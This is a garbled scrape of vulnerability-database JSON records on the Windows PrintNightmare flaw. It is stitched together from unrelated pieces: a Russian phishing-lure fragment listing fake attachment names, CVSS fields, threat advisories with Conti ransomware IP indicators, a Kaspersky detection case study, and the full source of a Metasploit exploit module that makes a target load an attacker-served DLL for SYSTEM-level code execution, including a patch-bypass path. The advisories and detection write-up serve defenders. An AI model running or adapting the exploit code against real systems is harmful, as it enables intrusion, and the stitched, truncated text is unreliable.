\u041d\u041e\u041c\u0415\u0420 \u0417\u0410\u041a\u0410\u0417\u0410 payment {processed|obtained|received} \n\u0410\u0422\u0422\u0410\u0427\u0418: \nord_conf \nfull.details \ncompl_ord_7847 \nbuyer_auth_doc \ninfo_summr \ncustomer_docs \nspec-ed_info\n\n \n_**Additional reading**_\n\n * _[Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)_\n * _[Staying Secure in a Global Cyber Conflict](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)_\n * _[Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": 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"githubexploit", "title": "Exploit for Use of Insufficiently Random Values in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-1675"], "modified": "2022-02-22T01:57:05", "id": "C841D92F-11E1-5077-AE70-CA2FEF0BC96E", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:05", "description": "# \u3016EXP\u3017Ladon CVE-2021-40444 Office\u6f0f\u6d1e\u590d\u73b0\n\n\n### \u6f0f\u6d1e\u6982\u8ff0\n\n\u5317\u4eac\u65f6\u95f49\u67088\u65e5\uff0c\u7eff\u76df\u79d1\u6280...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T17:10:48", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-40444"], "modified": "2021-11-15T04:16:33", "id": "FF761088-559C-5E71-A5CD-196D4E4571B8", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "hivepro": [{"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the ](<https://www.hivepro.com/wp-content/uploads/2021/06/TA202120.pdf>)[pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/07/TA202122.pdf>)\n\nAttackers have been targeting Windows Print Spooler services for almost 2 months now. It started with the vulnerability(CVE-2021-1675) being exploited in the wild. Soon a patch was released for the same. It was after 2 days that Microsoft found out that there exist another vulnerability which gives the attacker an access to execute a code in the victim\u2019s system. This new vulnerability(CVE-2021-34527) has been named as PrintNightmare. An emergency patch has been released by Microsoft for some of the versions and a workflow as been made available for other versions.\n\n#### Vulnerability Details\n\n\n\n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>\n\n#### References\n\n<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>\n\n<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=notificationEmail#rapid7-analysis>\n\n<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T13:50:55", "type": "hivepro", "title": "Emergency patches have been released by Microsoft for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T13:50:55", "id": "HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5", "href": "https://www.hivepro.com/emergency-patches-have-been-released-by-microsoft-for-printnightmare/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-22T07:28:58", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have issued an alert for enterprises that Russian state-sponsored cyber attackers have obtained network access by exploiting default MFA protocols and a known vulnerability. Russian state-sponsored cyber attackers got initial access to the target organization by using compromising credentials and registering a new device in the organization's Duo multi-factor authentication (MFA). The actors obtained the credentials using a brute-force password guessing attack, which provided them with access to a victim account with a basic, predictable password. The victim account had been unenrolled from Duo after a long period of inactivity, but it had not been deactivated in Active Directory. The actors were able to enroll a new device for this account, satisfy the authentication requirements, and get access to the victim network since Duo's default configuration settings allow for the re-enrollment of a new device for inactive accounts. Using the stolen account, Russian state-sponsored cyber attackers gained administrator rights by exploiting the "PrintNightmare" vulnerability (CVE-2021-34527). Furthermore, the cyber actors were able to obtain required material by moving laterally to the victim's cloud storage and email accounts. The organizations can apply the following mitigations: To prevent against "fail open" and re-enrollment scenarios, enforce MFA and examine configuration restrictions. Assure that inactive accounts are deactivated consistently across the Active Directory and MFA systems. Ensure that inactive accounts are deactivated equally across Active Directory, MFA systems, and other systems. Update software such as operating systems, apps, and hardware on a regular basis. The Mitre TTPs used in the current attack are:TA0001 - Initial AccessTA0003 - PersistenceTA0004 - Privilege EscalationTA0005 - Defense EvasionTA0006 - Credential AccessTA0007 - DiscoveryTA0008 - Lateral MovementTA0009 - CollectionT1078: Valid AccountsT1133: External Remote ServicesT1556: Modify Authentication ProcessT1068: Exploitation for Privilege EscalationT1112: Modify RegistryT1110.001: Brute Force: Password GuessingT1003.003: OS Credential Dumping: NTDST1018: Remote System DiscoveryT1560.001: Archive Collected Data: Archive via Utility Vulnerability Details Indicators of Compromise (IoCs) Patch Link https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 References https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-18T13:58:03", "type": "hivepro", "title": "Russian threat actors leveraging misconfigured multifactor authentication to exploit PrintNightmare vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-18T13:58:03", "id": "HIVEPRO:8D09682ECAC92A6EA4B81D42F45F0233", "href": "https://www.hivepro.com/russian-threat-actors-leveraging-misconfigured-mfa-to-exploit-printnightmare-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-09-26T09:19:08", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/09/TA202137.pdf>)\n\nConti Ransomware targets enterprises who have not patched their systems by exploiting old vulnerabilities. Conti Ransomware steals sensitive information from businesses and demands a ransom in exchange. CISA has issued a warning about the rise in Conti ransomware attacks. To avoid becoming a victim of Conti ransomware, the Hive Pro Threat Research team suggested you patch these vulnerabilities.\n\nThe techniques used by the Conti includes:\n\n * T1078 - Valid Accounts\n * T1133 - External Remote Services\n * T1566.001 - Phishing: Spearphishing Attachment\n * T1566.002 - Phishing: Spearphishing Link\n * T1059.003 - Command and Scripting Interpreter: Windows Command Shell\n * T1106 - Native API\n * T1055.001 - Process Injection: Dynamic-link Library Injection\n * T1027 - Obfuscated Files or Information\n * T1140 - Deobfuscate/Decode Files or Information\n * T1110 - Brute Force\n * T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting\n * T1016 - System Network Configuration Discovery\n * T1049 - System Network Connections Discovery\n * T1057 - Process Discovery\n * T1083 - File and Directory Discovery\n * T1135 - Network Share Discovery\n * T1021.002 - Remote Services: SMB/Windows Admin Shares\n * T1080 - Taint Shared Content\n * T1486 - Data Encrypted for Impact\n * T1489 - Service Stop\n * T1490 - Inhibit System Recovery\n\n#### Actor Details\n\n\n\n#### Vulnerability Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIPV4 | 162.244.80[.]235 \n85.93.88[.]165 \n185.141.63[.]120 \n82.118.21[.]1 \n \n#### Patch Links\n\n<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>\n\n#### References\n\n<https://us-cert.cisa.gov/ncas/alerts/aa21-265a>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-09-23T13:47:51", "type": "hivepro", "title": "Are you a victim of the Conti Ransomware?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-34527"], "modified": "2021-09-23T13:47:51", "id": "HIVEPRO:8DA601C83DB9C139357327C06B06CB36", "href": "https://www.hivepro.com/are-you-a-victim-of-the-conti-ransomware/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-06-24T15:45:01", "description": "The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.\n", "cvss3": {}, "published": "2022-05-16T18:56:46", "type": "metasploit", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-24T13:16:30", "id": "MSF:EXPLOIT-WINDOWS-DCERPC-CVE_2021_1675_PRINTNIGHTMARE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'windows_error'\nrequire 'ruby_smb'\nrequire 'ruby_smb/error'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::DCERPC\n include Msf::Exploit::Remote::SMB::Client::Authenticated\n include Msf::Exploit::Remote::SMB::Server::Share\n include Msf::Exploit::Retry\n include Msf::Exploit::EXE\n include Msf::Exploit::Deprecated\n\n moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'\n\n PrintSystem = RubySMB::Dcerpc::PrintSystem\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Print Spooler Remote DLL Injection',\n 'Description' => %q{\n The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted\n DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN\n vector which requires the Print Spooler service to be running.\n },\n 'Author' => [\n 'Zhiniang Peng', # vulnerability discovery / research\n 'Xuefeng Li', # vulnerability discovery / research\n 'Zhipeng Huo', # vulnerability discovery\n 'Piotr Madej', # vulnerability discovery\n 'Zhang Yunhai', # vulnerability discovery\n 'cube0x0', # PoC\n 'Spencer McIntyre', # metasploit module\n 'Christophe De La Fuente', # metasploit module co-author\n ],\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'SRVHOST' => Rex::Socket.source_address\n },\n 'Stance' => Msf::Exploit::Stance::Aggressive,\n 'Targets' => [\n [\n 'Windows', {\n 'Platform' => 'win',\n 'Arch' => [ ARCH_X64, ARCH_X86 ]\n },\n ],\n ],\n 'DisclosureDate' => '2021-06-08',\n 'References' => [\n ['CVE', '2021-1675'],\n ['CVE', '2021-34527'],\n ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],\n ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],\n ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],\n ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']\n ],\n 'Notes' => {\n 'AKA' => [ 'PrintNightmare' ],\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [\n ARTIFACTS_ON_DISK # the dll will be copied to the remote server\n ]\n }\n )\n )\n\n register_advanced_options(\n [\n OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])\n ]\n )\n deregister_options('AutoCheck')\n end\n\n def check\n begin\n connect(backend: :ruby_smb)\n rescue Rex::ConnectionError\n return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')\n end\n\n begin\n smb_login\n rescue Rex::Proto::SMB::Exceptions::LoginError\n return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')\n end\n\n begin\n dcerpc_bind_spoolss\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND\n print_error(\"The 'Print Spooler' service is disabled.\")\n end\n return Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\")\n end\n\n @target_arch = dcerpc_getarch\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43\n if @target_arch == ARCH_X64\n @environment = 'Windows x64'\n elsif @target_arch == ARCH_X86\n @environment = 'Windows NT x86'\n else\n return Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n print_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\")\n\n print_status('Enumerating the installed printer drivers...')\n drivers = enum_printer_drivers(@environment)\n @driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\"\n vprint_status(\"Using driver path: #{@driver_path}\")\n\n print_status('Retrieving the path of the printer driver directory...')\n @config_directory = get_printer_driver_directory(@environment)\n vprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil?\n\n container = driver_container(\n p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll',\n p_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\"\n )\n\n case add_printer_driver_ex(container)\n when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code\n return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')\n when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND\n return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_BAD_NET_NAME\n return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_ACCESS_DENIED\n return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')\n end\n\n Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n def run\n fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?\n fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?\n\n super\n end\n\n def setup\n if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0\n fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')\n end\n\n super\n end\n\n def start_service\n file_name << '.dll'\n self.file_contents = generate_payload_dll\n\n super\n end\n\n def primer\n dll_path = unc\n if dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/\n # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass\n # otherwise the operation will fail with ERROR_INVALID_PARAMETER\n dll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\"\n end\n vprint_status(\"Using DLL path: #{dll_path}\")\n\n filename = dll_path.rpartition('\\\\').last\n container = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path)\n\n 3.times do\n add_printer_driver_ex(container)\n end\n\n 1.upto(3) do |directory|\n container.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\")\n break if add_printer_driver_ex(container).nil?\n end\n\n cleanup_service\n end\n\n def driver_container(**kwargs)\n PrintSystem::DriverContainer.new(\n level: 2,\n tag: 2,\n driver_info: PrintSystem::DriverInfo2.new(\n c_version: 3,\n p_name_ref_id: 0x00020000,\n p_environment_ref_id: 0x00020004,\n p_driver_path_ref_id: 0x00020008,\n p_data_file_ref_id: 0x0002000c,\n p_config_file_ref_id: 0x00020010,\n # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913\n p_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\",\n p_environment: @environment,\n p_driver_path: @driver_path,\n **kwargs\n )\n )\n end\n\n def dcerpc_bind_spoolss\n handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss'])\n vprint_status(\"Binding to #{handle} ...\")\n dcerpc_bind(handle)\n vprint_status(\"Bound to #{handle} ...\")\n end\n\n def enum_printer_drivers(environment)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length\n DriverInfo2.read(response.p_drivers.map(&:chr).join)\n end\n\n def get_printer_driver_directory(environment)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length\n RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')\n end\n\n def add_printer_driver_ex(container)\n flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES\n\n begin\n response = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags)\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n message = \"Error #{nt_status.name} (#{nt_status.description})\"\n if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN\n # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected\n print_status('The named pipe connection was broken, reconnecting...')\n reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do\n dcerpc_bind_spoolss\n rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e\n false\n else\n true\n end\n\n unless reconnected\n vprint_status('Failed to reconnect to the named pipe.')\n return nil\n end\n\n print_status('Successfully reconnected to the named pipe.')\n retry\n else\n print_error(message)\n end\n\n return nt_status\n end\n\n error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first\n message = \"RpcAddPrinterDriverEx response #{response.error_status}\"\n message << \" #{error.name} (#{error.description})\" unless error.nil?\n vprint_status(message)\n error\n end\n\n def rprn_call(name, **kwargs)\n request = PrintSystem.const_get(\"#{name}Request\").new(**kwargs)\n\n begin\n raw_response = dcerpc.call(request.opnum, request.to_binary_s)\n rescue Rex::Proto::DCERPC::Exceptions::Fault => e\n fail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\")\n end\n\n PrintSystem.const_get(\"#{name}Response\").read(raw_response)\n end\n\n class DriverInfo2Header < BinData::Record\n endian :little\n\n uint32 :c_version\n uint32 :name_offset\n uint32 :environment_offset\n uint32 :driver_path_offset\n uint32 :data_file_offset\n uint32 :config_file_offset\n end\n\n # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030\n DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do\n def self.read(data)\n header = DriverInfo2Header.read(data)\n new(\n header,\n RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')\n )\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "securelist": [{"lastseen": "2021-12-15T10:54:49", "description": "\n\n_Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules._\n\n_The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond._\n\n## PrintNightmare vulnerability exploitation\n\nThis summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: **CVE-2021-1675/CVE-2021-34527**, also known as [PrintNightmare](<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>). This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already [published](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.\n\n### Case #1\n\nShortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.\n\nKaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious _DLL_ libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host. | C:\\Windows\\System32\\spool\\drivers\\x64\\3\\nightmare.dll C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\nightmare.dll \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | In addition, the following script was found on the host. | \\cve-2021-1675-main-powershell\\cve-2021-1675-main\\cve-2021-1675.ps1 \n \nThe table below contains signs of suspicious activity that served as a starting point for the investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1210:** \nExploitation of \nRemote \nServices | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\ \n1\\nightmare.dll \nFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate spoolsv.exe \nlocally modified \nc:\\windows\\system32 \n\\spool\\drivers\\x64\\ \n3\\old\\1\\nightmare.dll \n**T1588.005:** \nObtain \nCapabilities: \nExploits | AV exact detect in \nOnAccess mode | File: \n\\cve-2021-1675-main-powershell\\cve-2021- \n1675-main\\cve-2021-1675.ps1 \nAV verdicts: \nExploit.Win64.CVE-2021-1675.c; \nUDS:Exploit.Win64.CVE-2021-1675.c | CVE-2021-1675 exploit \nwas detected and \nsuccessfully deleted \nby AM engine \n \n### Case #2\n\nIn another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, _spooler_ service access to suspicious _DLL_ files was observed. In addition, the _spooler_ service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | MDR analyst detected the creation of suspicious _DLL_ libraries using the _certutil.exe_ tool on a monitored host. \nAfter that, the _spooler_ service was added to the planned tasks. | C:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\hello.dll \nC:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\unidrv.dll\u2026 \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | 